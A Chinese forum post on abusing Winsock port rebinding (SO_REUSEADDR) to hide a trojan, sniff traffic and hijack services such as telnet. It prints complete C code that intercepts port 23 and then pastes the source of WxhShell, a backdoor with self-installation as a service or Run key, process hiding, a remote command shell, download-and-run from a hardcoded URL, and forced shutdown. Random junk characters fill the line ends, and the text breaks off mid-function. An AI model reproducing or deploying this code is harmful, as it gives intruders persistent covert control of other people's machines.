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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Udl8?EVSz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MFqM 6_  
y~-dQ7r  
  saddr.sin_family = AF_INET; Yj#4{2A  
|a{~Imz{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o5`LLVif5y  
&* 1iW(x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  OK\F  
\Zbi`;m?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =lG/A[66  
/\e&nYz  
  这意味着什么?意味着可以进行如下的攻击: tShyG! b  
@teNT"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G.y~*5?#  
.!Qo+(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +#=l{_Z,ZJ  
$Q'S8TU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p|,3X*-ynx  
N&K`bmtD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w$%1j+%&  
ocDAg<wo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T2p;#)dP  
8DO3L "  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KE*8Y4#9  
KVA~|j B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R[T94U  
hUO&rov3@  
  #include E3P2  
  #include ObIL  w  
  #include [zMnlO  
  #include    ^j>w<ljzz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *Z:'jV<  
  int main() 1p }:K`#{  
  { 6<>T{2b:(p  
  WORD wVersionRequested; 6l,oL'$}P1  
  DWORD ret; 9#iv|X  
  WSADATA wsaData; lS!uL9t.  
  BOOL val; <yw(7  
  SOCKADDR_IN saddr; 5?M d  
  SOCKADDR_IN scaddr; 6Qh@lro;y  
  int err; U,e'vS{  
  SOCKET s; _dk/SWb)  
  SOCKET sc; iB0#Z_  
  int caddsize; M*n@djL$\~  
  HANDLE mt; _&xi})E^O]  
  DWORD tid;   lU&[){  
  wVersionRequested = MAKEWORD( 2, 2 ); e|2@z-Sp-  
  err = WSAStartup( wVersionRequested, &wsaData ); 9f U,_`r  
  if ( err != 0 ) {  roNRbA]  
  printf("error!WSAStartup failed!\n"); =QQTHL{3  
  return -1; R m^$Dn  
  } Oiz@tEp=_  
  saddr.sin_family = AF_INET; NuQ l  
   RW I7eC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /t"F Z#  
U?.cbB,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >A_:q yGk  
  saddr.sin_port = htons(23); P|' eM%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !]*Cwbh. u  
  { 9hn+eU  
  printf("error!socket failed!\n"); %3;vDB*L$  
  return -1; 4SDUTRo a  
  } .,+TpP kc  
  val = TRUE; tkj QSz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Md[M}d8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JVxGS{Z  
  { QMAineO  
  printf("error!setsockopt failed!\n"); PqDffZ^z  
  return -1; i&_&4  
  }  TG^?J`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l\t\DX"s_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |S0nR<x-M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1~aP)q  
o4PJ9x5R!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~4^~w#R  
  { n> tru L  
  ret=GetLastError(); [~&yLccN  
  printf("error!bind failed!\n"); `G0GWh)`x  
  return -1; T0TgV  
  } 7H!/et?S,  
  listen(s,2); l.nd Wv  
  while(1) :f_fp(T  
  { 1LZ[i89&%  
  caddsize = sizeof(scaddr); O3KTKL]  
  //接受连接请求 50jZu'z:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )Gm,%[?2C  
  if(sc!=INVALID_SOCKET) $~c wB  
  {  Qo$j'|lD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  @ ^cR  
  if(mt==NULL) ?DrA@;IB  
  { =8V 9E  
  printf("Thread Creat Failed!\n"); \@!"7._=  
  break; 1W r,E#+C  
  } Nbvs_>N   
  } |w].*c}Z  
  CloseHandle(mt); #T3dfVWv  
  } cKED RX3  
  closesocket(s); h"3Mj*s  
  WSACleanup(); ;1AX u/  
  return 0; m- u0U  
  }   slTE.  
  DWORD WINAPI ClientThread(LPVOID lpParam) q/#p ol  
  { J:Idt}@z  
  SOCKET ss = (SOCKET)lpParam; N}gPf i  
  SOCKET sc; Q&]f9j_  
  unsigned char buf[4096]; -qqI @+u+  
  SOCKADDR_IN saddr; G0~6A@>  
  long num; 4..M *U  
  DWORD val; [JVEKc ym  
  DWORD ret; !*e1F9k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c4V%>A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iz%wozf  
  saddr.sin_family = AF_INET; cXod43  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L+.&e4f'oj  
  saddr.sin_port = htons(23); E< Y!BT[X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q>rDxmP<  
  { ^V7'S<  
  printf("error!socket failed!\n"); c:I %jm  
  return -1; 1Eh6ti  
  } Y?v{V>;*A  
  val = 100; zvbO q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bY UG4+rD  
  { H@!]5 <:9  
  ret = GetLastError(); `nrw[M?  
  return -1; 10d.&vNw  
  } IhjZ{oV/@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XY^]nm-{I  
  {  35%\"Y?  
  ret = GetLastError(); )_olJCdaP^  
  return -1; ~JQ6V?fucD  
  } p|+TgOYOc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `Kbf]"4q  
  { 8+@j %l j  
  printf("error!socket connect failed!\n"); = 6'Fm$R  
  closesocket(sc); 6,cJ3~!48  
  closesocket(ss); cDIZkni=  
  return -1; %#x l+^  
  } U8zCV*ag  
  while(1) I%:\"g"c  
  { U#Wg"W{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WZM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UR~s\m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ub;:"ns}  
  num = recv(ss,buf,4096,0); v>0I=ut  
  if(num>0) p""\uG'  
  send(sc,buf,num,0); +"1fr  
  else if(num==0) .XT]\'vW  
  break; -v! ;  
  num = recv(sc,buf,4096,0); Ye S5%?Fk  
  if(num>0) zfw=U \  
  send(ss,buf,num,0); qV0GpVJZU?  
  else if(num==0) wxo*\WLe  
  break; MY}/h@  
  } A{p_I<  
  closesocket(ss); Du #>y!  
  closesocket(sc); Cto>~pV  
  return 0 ; FsLd&$?T&  
  } (q@%eor&}  
h S)lQl:^  
2]]}Xvx4#  
========================================================== h~lps?.#b  
ot0g@q[3  
下边附上一个代码,,WXhSHELL 5PsjGvm.%  
Ya4yW9*  
========================================================== #mYe@[p@  
UD=[::##  
#include "stdafx.h" qP0UcG  
D"gv:RojD  
#include <stdio.h> C8W_f( i~  
#include <string.h> xXlx}C  
#include <windows.h> f0879(,i  
#include <winsock2.h> U(gYx@   
#include <winsvc.h> (mplo|>  
#include <urlmon.h> ~O~iP8T  
: { iK 5  
#pragma comment (lib, "Ws2_32.lib") zZ,"HY=jN  
#pragma comment (lib, "urlmon.lib") .k$Yleg  
xR8y"CpE  
#define MAX_USER   100 // 最大客户端连接数 ~ mzX1[  
#define BUF_SOCK   200 // sock buffer =h xyR;  
#define KEY_BUFF   255 // 输入 buffer #jJ0Mxg  
ZUD{V  
#define REBOOT     0   // 重启 P?^%i  
#define SHUTDOWN   1   // 关机 =ld!=II  
$_3 )m  
#define DEF_PORT   5000 // 监听端口 6"?#E[ #[  
!jf!\Uu[U  
#define REG_LEN     16   // 注册表键长度 ep4?;Qmho  
#define SVC_LEN     80   // NT服务名长度 W[R`],x`  
Vqcw2  
// 从dll定义API * mH&Gn1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Wtgj=1!.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pedyWA>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T"t.t%(8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qI>,PX  
yuC|_nL  
// wxhshell配置信息 k!bG![Ie|  
struct WSCFG { \u04m}h]  
  int ws_port;         // 监听端口 9oIfSr,y  
  char ws_passstr[REG_LEN]; // 口令 Sk:x.oOZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no bI^F (  
  char ws_regname[REG_LEN]; // 注册表键名 -Kw7! =_ g  
  char ws_svcname[REG_LEN]; // 服务名 Kn1T2WSAg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `6RccEm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \r9E6LL X'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X#Ob^E%J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qsw.429t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VCVKh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LcT;7yv  
F|cli <  
}; 1:Ff#Eq,s  
L)8%*X  
// default Wxhshell configuration U_hzSf  
struct WSCFG wscfg={DEF_PORT, J\>/ J%  
    "xuhuanlingzhe", nBLb1T  
    1, AQ0zsy  
    "Wxhshell", =J"c'Z>.  
    "Wxhshell", aK_k'4YTm  
            "WxhShell Service", }u1h6rd `  
    "Wrsky Windows CmdShell Service", 'Fc$?$c\  
    "Please Input Your Password: ", byTH SRt  
  1, tt CC] Q  
  "http://www.wrsky.com/wxhshell.exe", r&ys?@+G  
  "Wxhshell.exe" VoQhzp6&  
    }; ty:{e]e  
=f23lA  
// 消息定义模块 JNT|h zV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F@HJ3O9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A2p%Y},  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C9_[ke[1D  
char *msg_ws_ext="\n\rExit."; xB]^^ NYE=  
char *msg_ws_end="\n\rQuit."; a_]l?t  
char *msg_ws_boot="\n\rReboot..."; oIQ$98M  
char *msg_ws_poff="\n\rShutdown..."; #2lvRJB  
char *msg_ws_down="\n\rSave to "; +=d=  
11 k}Ly  
char *msg_ws_err="\n\rErr!"; HGDiwA  
char *msg_ws_ok="\n\rOK!"; =p7id5"  
XL9-N?(@  
char ExeFile[MAX_PATH]; fQwLx  
int nUser = 0; \/C5L:|p_  
HANDLE handles[MAX_USER]; wCV~9JTJ!  
int OsIsNt; u?rX:KkS  
bvHQ# :}H  
SERVICE_STATUS       serviceStatus; bR1Q77<G\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7F_N{avr  
kZ]pV=\Y*  
// 函数声明 m. \JO  
int Install(void); FUZuS!sJ  
int Uninstall(void); 7z&$\qu2  
int DownloadFile(char *sURL, SOCKET wsh); mi7~(V>  
int Boot(int flag); KfYT  
void HideProc(void); vT @25  
int GetOsVer(void); W`P>vK@=  
int Wxhshell(SOCKET wsl); :."6g)T  
void TalkWithClient(void *cs); I[?bM-  
int CmdShell(SOCKET sock); sl(go^  
int StartFromService(void); yhI;FNSf  
int StartWxhshell(LPSTR lpCmdLine); ]rNxvFN*j  
lgD %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t @a&&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :t;i2Ck  
-3y  
// 数据结构和表定义 Oqt{ uTI~  
SERVICE_TABLE_ENTRY DispatchTable[] = d(@ ov^e-  
{ yW\kmv.O  
{wscfg.ws_svcname, NTServiceMain}, _3NH"o d  
{NULL, NULL} 1~},}S]id  
}; OF )*kiJ  
yjq|8.L[ G  
// 自我安装 0LSJQ9\p  
int Install(void) D #7q3s  
{ P2 qC[1hYH  
  char svExeFile[MAX_PATH]; *cCj*Zr]  
  HKEY key; kY6_n4  
  strcpy(svExeFile,ExeFile); 'cAS>s"$}V  
;j[:tt\k  
// 如果是win9x系统,修改注册表设为自启动 5R%y3::$S  
if(!OsIsNt) {  =zDvZ(5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ):nC%0V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (_+ux1h6^  
  RegCloseKey(key); [d-Y1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R=$}uDFmW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $9xp@8b\_  
  RegCloseKey(key); e.#,9  
  return 0; (d* | |"  
    } a;nYR5f  
  } WS?Y8~+{5  
} ?AQA>D#W  
else { ts("(zI1E  
^R)]_   
// 如果是NT以上系统,安装为系统服务 2$VSH&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); feeHXKD|  
if (schSCManager!=0) 1'iQlnMO@  
{ g6S-vSX,  
  SC_HANDLE schService = CreateService }R YPr  
  ( -}( o+!nl  
  schSCManager, # JY>  
  wscfg.ws_svcname, "3|OB, <;:  
  wscfg.ws_svcdisp, -j:yEZ4Oy  
  SERVICE_ALL_ACCESS, GU9p'E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .2_xTt   
  SERVICE_AUTO_START, m(EV C}Y  
  SERVICE_ERROR_NORMAL, 6+"gk(  
  svExeFile, &p*rEs  
  NULL, 84i0h$ZZo  
  NULL, & .#dZ}J  
  NULL, h?} S|>9  
  NULL, T &bB8tQk  
  NULL a<>cbP  
  ); }odjaM}5Nc  
  if (schService!=0) TDWD8??e  
  { s8qpK; O  
  CloseServiceHandle(schService); Fpwhyls  
  CloseServiceHandle(schSCManager); rY1jC\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @xso{$z?j  
  strcat(svExeFile,wscfg.ws_svcname); eb6y-TwY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {ot6ssT=D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =<zlg~i  
  RegCloseKey(key); "(kiMo g-  
  return 0; E9t8SclV  
    } tL1\q Qg  
  } [Ls%nz|  
  CloseServiceHandle(schSCManager); /TIt-c  
} t("koA=.  
} '?fGI3b~/  
/11CC \  
return 1; q|IU+r:! 3  
} (?lT @RY/  
yJlRW!@&:  
// 自我卸载 R yM2 9uD  
int Uninstall(void) IjQgmS~G  
{ 5B8fz;l= B  
  HKEY key; jqTK7b  
">S1,rhgS  
if(!OsIsNt) { w\V<6_[vv.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 s2*VKr  
  RegDeleteValue(key,wscfg.ws_regname); 0tPwhJ  
  RegCloseKey(key); /OMgj7olD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d-W*`:Q  
  RegDeleteValue(key,wscfg.ws_regname); PGVp1TQ  
  RegCloseKey(key); n!lE|if  
  return 0; [9Tnp]q  
  } "T<7j.P?  
} 5LU7}v~/  
} sqjDh  
else { huR ^l  
N+H[Y4c?F&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 322-'S3<  
if (schSCManager!=0) 9;`hJ!r  
{ XaoVv2=G~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %\)AT"  
  if (schService!=0) }g|9P SbJ  
  { / T_v8 {D  
  if(DeleteService(schService)!=0) { O`N,aYo  
  CloseServiceHandle(schService); EaH/Gg3  
  CloseServiceHandle(schSCManager); :!fY;c?  
  return 0; 1]A\@(  
  } "d M-3o<  
  CloseServiceHandle(schService); |<y1<O>F  
  } [(.lfa P  
  CloseServiceHandle(schSCManager); f'`y-]"V5)  
} Mpk7$=hjc  
} a"Ly9ovW  
O0bOv S  
return 1; $YJi]:3&  
} wsc=6/#u  
AUfcf *  
// 从指定url下载文件 [;'$y:L=g  
int DownloadFile(char *sURL, SOCKET wsh) !ZCxi  
{ bX5/xf$q  
  HRESULT hr; /len8FRf  
char seps[]= "/"; beV+3HqB8  
char *token; DiZv sc  
char *file; #!_ViG )2^  
char myURL[MAX_PATH]; ="Az g8W  
char myFILE[MAX_PATH]; <A`SC;k\u  
t+^__~IX  
strcpy(myURL,sURL); @ Yo*h"s  
  token=strtok(myURL,seps); 9\kEyb$F=  
  while(token!=NULL) 04}c_XFFE  
  { Y;dqrA>@  
    file=token; ]~ S zb  
  token=strtok(NULL,seps); nf:wJ-;*  
  } 2uF'\y  
{W%XS E  
GetCurrentDirectory(MAX_PATH,myFILE); oL!C(\ERh  
strcat(myFILE, "\\"); 4Yt'I#*  
strcat(myFILE, file); }?O>.W,/  
  send(wsh,myFILE,strlen(myFILE),0); B2WPbox  
send(wsh,"...",3,0); 5a2;@ }%V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gl2l%]=\'  
  if(hr==S_OK) e<~bDFH  
return 0; OF;"%IW~}  
else &0d5".|s  
return 1; T)e Uo  
aqQ  U7  
} 0j}@lOt(  
(#qQ;ch  
// 系统电源模块 4CS$%Cu\?w  
int Boot(int flag) 0fV}n:4Pq  
{ ?f!&M  
  HANDLE hToken; e. E$Ej]w  
  TOKEN_PRIVILEGES tkp; zcio\P=^|B  
3J3wKw!`  
  if(OsIsNt) { 5B3sRF}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^.*zBrFx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8hSw4S "$  
    tkp.PrivilegeCount = 1; 7x*C` Et<x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p`!<yq2_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z$(`{ o%a  
if(flag==REBOOT) { J$`5KbT3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 64^3ve3/a=  
  return 0; 3b`#)y^y?%  
} i@%a!].I  
else { 6!=q+sw/X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zl.,pcL  
  return 0; eF4f7>5Cv  
} ,WAJ& '^  
  } [EQTrr( D  
  else { rV*Ri~Vx  
if(flag==REBOOT) { `?d` #) Ck  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?-<>he  
  return 0; SF"r</c[  
} R#rfnP >  
else { 5E}]U,$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bJynUZ  
  return 0;  DD[<J:6  
} I-Am9\   
} LF+E5{=:R  
WP^wNi ~>  
return 1; v[jg|s&6"  
} 3wPUP+)c7  
>3I|5kZ6  
// win9x进程隐藏模块 ^t`0ul]c  
void HideProc(void) y6H`FFqK  
{ {c<cSrfI  
]v+yeGIKS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fOP3`G^\  
  if ( hKernel != NULL ) 9j 0o)]  
  { <uo@k'   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /8"rCh|m-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }z2[w@M  
    FreeLibrary(hKernel); VLfKN)g  
  } <EY{goW  
FvD/z ;N  
return; ~h3~<p#M`  
} E[FE-{B#  
KvO5-g  
// 获取操作系统版本 zkd^5A; `  
int GetOsVer(void) =yPV9#(I/  
{ I`x[1%y2 F  
  OSVERSIONINFO winfo; ;RMevVw|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "cvhx/\1#  
  GetVersionEx(&winfo); g]d0B!Ar~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >^ E*7Bfp  
  return 1; n-OQCz9Xl  
  else m<J:6^H@  
  return 0; *0_Q0SeE,o  
} (Dx p  
N7^sn!JB  
// 客户端句柄模块 '{)Jhl47   
int Wxhshell(SOCKET wsl) y<l(F?_  
{ cXb&Rm' L  
  SOCKET wsh; jZiz 0[  
  struct sockaddr_in client; L08lkq,  
  DWORD myID; %Vk77(  
WM ]eb, 8q  
  while(nUser<MAX_USER) 8KsPAK_  
{ NC sem  
  int nSize=sizeof(client); #1WCSLvtV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E9' 2_e  
  if(wsh==INVALID_SOCKET) return 1; z00,Vr^m  
{=;<1PykLb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4v9d& m!<  
if(handles[nUser]==0) s|k&@jH)  
  closesocket(wsh); TK0W=&6#A  
else OMBH[_  
  nUser++; x }]"jj2x  
  } q w @g7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U&#`5u6'j  
RSnBG"  
  return 0; WS%yV|e  
} /0XmU@B  
^zfs8]QSf  
// 关闭 socket #K!"/,d@>J  
void CloseIt(SOCKET wsh) )^ PWr^  
{ I ^[[*Bh*C  
closesocket(wsh); $<3^( y  
nUser--; ,}NTV ~  
ExitThread(0); -wh  
} Zg|l:^E  
DHZ`y[&}|N  
// 客户端请求句柄 S F da?>  
void TalkWithClient(void *cs) v4XEp   
{ ClNuO  
QZuKM'D+  
  SOCKET wsh=(SOCKET)cs; h05<1>?|  
  char pwd[SVC_LEN]; 20I/En  
  char cmd[KEY_BUFF]; [$#G|>x  
char chr[1]; u-QHV1H`(  
int i,j; 6MLjU1  
( k_9<Yb3  
  while (nUser < MAX_USER) { kM(m$Oo.  
)4> 7X)j>  
if(wscfg.ws_passstr) { ARG8\qU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S 8)!70  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yI^7sf7k  
  //ZeroMemory(pwd,KEY_BUFF); R*2F)e\|  
      i=0; B&<P>AZ  
  while(i<SVC_LEN) { i1*0'x  
~ e a K]|  
  // 设置超时 ~.tYYX<  
  fd_set FdRead; R@U4Ae{+  
  struct timeval TimeOut; AJ)&+H  
  FD_ZERO(&FdRead); ;s-@m<  
  FD_SET(wsh,&FdRead); %"WhD'*z}  
  TimeOut.tv_sec=8; \s!x;nw[  
  TimeOut.tv_usec=0; $V F$Ok>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1-E utq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v:n[H]K|  
#w:nj1{_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gEw9<Y  
  pwd=chr[0]; 0E)M6 jJ  
  if(chr[0]==0xd || chr[0]==0xa) { nj1PR`AE  
  pwd=0; 3eB)X2~   
  break; UD9JE S,  
  } @Gy.p5J8  
  i++; hD4>mpk  
    } 0 ZSn r+  
rinTB|5  
  // 如果是非法用户,关闭 socket WQbjq}RfI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \[]?9Z=n  
} G,<l}(tEG  
Z*-a=u%gl'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9'@G7*Yn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G&YcXyH  
+r&:c[  
while(1) { /y6I I$AvM  
f .$*9Fkw  
  ZeroMemory(cmd,KEY_BUFF); ZB} A^X  
%jHe_8=o  
      // 自动支持客户端 telnet标准   1U?5/Ja  
  j=0; H!>>|6OPF  
  while(j<KEY_BUFF) { v["_t/_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !~V^GlY  
  cmd[j]=chr[0]; h4+*ssnYV  
  if(chr[0]==0xa || chr[0]==0xd) { d24_,o\_  
  cmd[j]=0; ?'tRu !~  
  break; lD-2 5~YV  
  } ^Ai QNL}  
  j++; 6ud<U#\b&  
    } >0uj\5h)I]  
`6;$Z)=.  
  // 下载文件 ]2 $T 6  
  if(strstr(cmd,"http://")) { X4Pm&ol  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i% , 't  
  if(DownloadFile(cmd,wsh)) xLfv:Rp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\59vtga  
  else R1eWPtWs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z^s\&gix  
  } USS%T<Vk  
  else { X *:,|  
E0yx @Vx  
    switch(cmd[0]) { [rL 8L6,!  
  D@:'*Z(  
  // 帮助 _pDfPLlY&  
  case '?': { dCo3VF"u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yH>C7M7 t  
    break; wNn=JzP  
  } pf%; *  
  // 安装 F^`+.G\  
  case 'i': { Nwe-7/Q  
    if(Install()) ?%Ww3cU+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8#83|h  
    else <XtE|LG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+8VW;4|I  
    break; KY%{'"'u  
    } 6 jm@`pYbE  
  // 卸载 3:xKq4?  
  case 'r': { HFlExa u  
    if(Uninstall())  sFnR;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #9F>21UU  
    else E31Yk D.A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7#NHPn  
    break; O .-n&U9  
    } $EEn]y  
  // 显示 wxhshell 所在路径 ST;o^\B  
  case 'p': { `w`F-ke]I  
    char svExeFile[MAX_PATH]; 9* huO#  
    strcpy(svExeFile,"\n\r"); _zi| GD  
      strcat(svExeFile,ExeFile); 8R:Glif  
        send(wsh,svExeFile,strlen(svExeFile),0); O0s!3hKu  
    break; 08D:2 z1z  
    } FSAX , Y  
  // 重启 C"%B >e  
  case 'b': { (|rf>=B+H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /oLY\>pD  
    if(Boot(REBOOT)) MLg{Y?@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[-W*,xJ)  
    else { xR|^{y9n  
    closesocket(wsh); O&yAFiCd  
    ExitThread(0); ,D]g]#Lq  
    } 72.Msnn  
    break; pnyu&@e  
    } Bq1}"092  
  // 关机 #NYHwO<0-  
  case 'd': { z Tz_"N I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $mE3 FJP>  
